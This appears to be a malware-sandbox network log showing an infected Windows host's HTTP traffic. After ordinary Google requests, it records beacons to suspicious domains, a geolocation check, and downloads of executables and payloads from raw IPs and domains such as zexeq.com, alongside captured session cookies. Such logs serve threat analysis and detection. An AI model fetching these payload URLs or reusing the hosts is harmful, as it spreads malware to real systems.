Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-04-09
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/&q=EgRmgZFEGN2dpakGIjByWYvt2Ok7SJ_S-758Ok-yydlZOMNOB66mld60E3QcDAVKZ9dB8HvOtDLreMbtr1MyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-13-14; AEC=Ackid1SHF6KgMM6Hky1Du36-ZdSn2l-UY4CLLpcCSmxwfuJT4D-atBgTGw
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZFEGN2dpakGIjByWYvt2Ok7SJ_S-758Ok-yydlZOMNOB66mld60E3QcDAVKZ9dB8HvOtDLreMbtr1MyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-13-14; AEC=Ackid1SHF6KgMM6Hky1Du36-ZdSn2l-UY4CLLpcCSmxwfuJT4D-atBgTGw
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-117.0.5938.132Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-04-09
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-04-09
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-04-09
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=j8SQUTltnVU5cOAeyzqSxW-qHOakRuBHDQGLTGeceC9Z5rRzk5trMKb4CuZC_CFmc7KFwQcRJL-qGz8MvkkzMZmElvXAFWLO-TPZ9PMqBYA78ZAuaepnXIRHe-TAolVoW6Z7dQnqpgyX0m-TmS72bebAgoqZv5GkpRFUcZIw1Kk; 1P_JAR=2023-10-04-09
Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-117.0.5938.132Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_ogb%3Fhl%3Den-US%26async%3Dfixed:0&hl=en-US&q=EgRmgZFEGP2dpakGIjCDho6_uSUU1PpRFJbi-JCxZp4wpZrd0UV6D6GbORxGhxeXJDCPqJ43sZg2xqNDdukyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2023-10-13-14; NID=511=qytlHnbQqL4sloRGlAZhTsHGfjucE9pdknsGlIvbaXSLXSQd55dhOxJdoyMK-vlTOQDc6HMDz8G0GgHp035K-DwDs6Wiinwnk6bT44JPRi-46dpt8miUyWQmSvK00loBXhapVrGBtmgvledi3f1OJjJmv72W7z2zfLo7oZ4hOa4
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=https://www.google.com/async/newtab_promos&q=EgRmgZFEGP2dpakGIjDUht_iSdQdyXOw9C7LkmLwSguzkOO7PWmZRWUmqieCMTCnfotNaoU9yzHGGbqE1RAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2023-10-13-14; NID=511=TTebJfpRfHL5fxKIfCsKOh0TwKwk9kmsB-0dEzzEIb6m5kf4bglUiTf0S-mnNU0h78s3D4vKFJmnxlVtCDa5nU3gGtVXPWAUkZgaIhiA3vdOfDJYPTEdvsu-Z1Ht9qQaBiPvlqr1lBmAK-kgCq2eU8216hWlUjoAcqUI55gQpU0
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Connection: Keep-AliveAccept: /Referer: http://prqnjnajkap.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: snukerukeutit.orgCookie: btst=fe2a7a1a90c47e3904e79409f467fff2\|102.129.145.68\|1697205934\|1697205934\|0\|1\|0
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Connection: Keep-AliveAccept: /Referer: http://prqnjnajkap.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: snukerukeutit.orgCookie: btst=fe2a7a1a90c47e3904e79409f467fff2\|102.129.145.68\|1697205935\|1697205934\|0\|2\|0
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Connection: Keep-AliveAccept: /Referer: http://prqnjnajkap.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: snukerukeutit.orgCookie: btst=fe2a7a1a90c47e3904e79409f467fff2\|102.129.145.68\|1697205935\|1697205934\|0\|3\|0
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Connection: Keep-AliveAccept: /Referer: http://prqnjnajkap.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: snukerukeutit.orgCookie: btst=fe2a7a1a90c47e3904e79409f467fff2\|102.129.145.68\|1697205936\|1697205934\|0\|4\|0
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Connection: Keep-AliveAccept: /Referer: http://prqnjnajkap.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: snukerukeutit.orgCookie: btst=fe2a7a1a90c47e3904e79409f467fff2\|102.129.145.68\|1697205937\|1697205934\|0\|5\|0
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Connection: Keep-AliveAccept: /Referer: http://prqnjnajkap.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: snukerukeutit.orgCookie: btst=fe2a7a1a90c47e3904e79409f467fff2\|102.129.145.68\|1697205937\|1697205934\|0\|6\|0
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Connection: Keep-AliveAccept: /Referer: http://prqnjnajkap.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: snukerukeutit.orgCookie: btst=fe2a7a1a90c47e3904e79409f467fff2\|102.129.145.68\|1697205938\|1697205934\|0\|7\|0
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Connection: Keep-AliveAccept: /Referer: http://prqnjnajkap.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: snukerukeutit.orgCookie: btst=fe2a7a1a90c47e3904e79409f467fff2\|102.129.145.68\|1697205939\|1697205934\|0\|8\|0
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Connection: Keep-AliveAccept: /Referer: http://prqnjnajkap.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: snukerukeutit.orgCookie: btst=fe2a7a1a90c47e3904e79409f467fff2\|102.129.145.68\|1697205939\|1697205934\|0\|9\|0
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1Connection: Keep-AliveAccept: /Referer: http://prqnjnajkap.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: snukerukeutit.orgCookie: btst=fe2a7a1a90c47e3904e79409f467fff2\|102.129.145.68\|1697205940\|1697205934\|0\|10\|0
Source: global traffic	HTTP traffic detected: GET /minda.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 79.137.192.18
Source: global traffic	HTTP traffic detected: GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com
Source: global traffic	HTTP traffic detected: GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /treelatestprores.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 171.22.28.219
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /d37c48c18c73cc0e155c7e1dfde06db9 HTTP/1.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0 uacqHost: 49.12.118.151:8000
Source: global traffic	HTTP traffic detected: GET /images.zip HTTP/1.1User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0 uacqHost: 49.12.118.151:8000Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /xs12pro/Qdlpaama.wav HTTP/1.1Host: 172.86.98.101Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /192.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: h171008.srv22.test-hf.su
Source: global traffic	HTTP traffic detected: GET /xs12pro/Xhuigdkf.dat HTTP/1.1Host: 172.86.98.101Connection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Fri, 13 Oct 2023 14:05:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 18 00 00 00 1f 3d 53 a8 37 66 30 7c 67 57 e9 d9 8c f4 ed 35 70 40 c7 45 89 0c 8a a1 00 37 cc 03 00 34 6f 8a 38 01 00 00 00 02 00 9e 03 00 00 8b 3e 6c 0d a7 1b 52 86 af 2f 77 aa 83 0a 43 00 39 77 0d e0 2f 81 e6 89 73 59 a7 7d 68 54 09 6d 9a 1d 31 84 ec ba e2 a7 40 9f 98 15 d4 f0 30 2a 63 2f 26 3c c7 4d 8c 99 39 6c 3d 53 47 c2 9e 39 be 29 8d 28 26 61 f2 3c 8d ce 02 b5 cf 78 62 e5 a5 c1 90 5c 2d ab ee 05 93 38 52 fe 4e 35 05 dc 44 49 ab a0 3f 72 54 62 f6 a4 60 d1 17 4b 2b 97 4b 52 9a 18 6b 6f 52 3a dc ee 4b ce a5 5c 42 10 ea f6 7a fe 3c b9 4c 8c 72 cf 3f 43 a1 b2 6f 0a 0a ca 4e 25 6f 4c 3a 3d b2 5c e8 84 fd bc 6d e2 dc a1 a7 f4 73 93 20 fc 0c 82 88 12 f7 a3 ef 06 14 ad 02 3a 46 8a 0d a9 07 fa 67 45 f6 23 fc 4b 2c be 78 bf 55 36 4c 3d f5 3c 42 3e 7d e8 28 7a 3a 34 d7 41 b4 90 2c a6 59 58 e5 62 09 eb 95 5a b7 ba c5 09 16 be 03 bb 2b 37 b1 3e a1 b3 1b c7 8b ef 77 04 77 3f 6c df 89 82 9b 28 97 e9 b0 ea 24 de c0 49 60 55 8c df 1a 73 e8 78 31 3e 8b 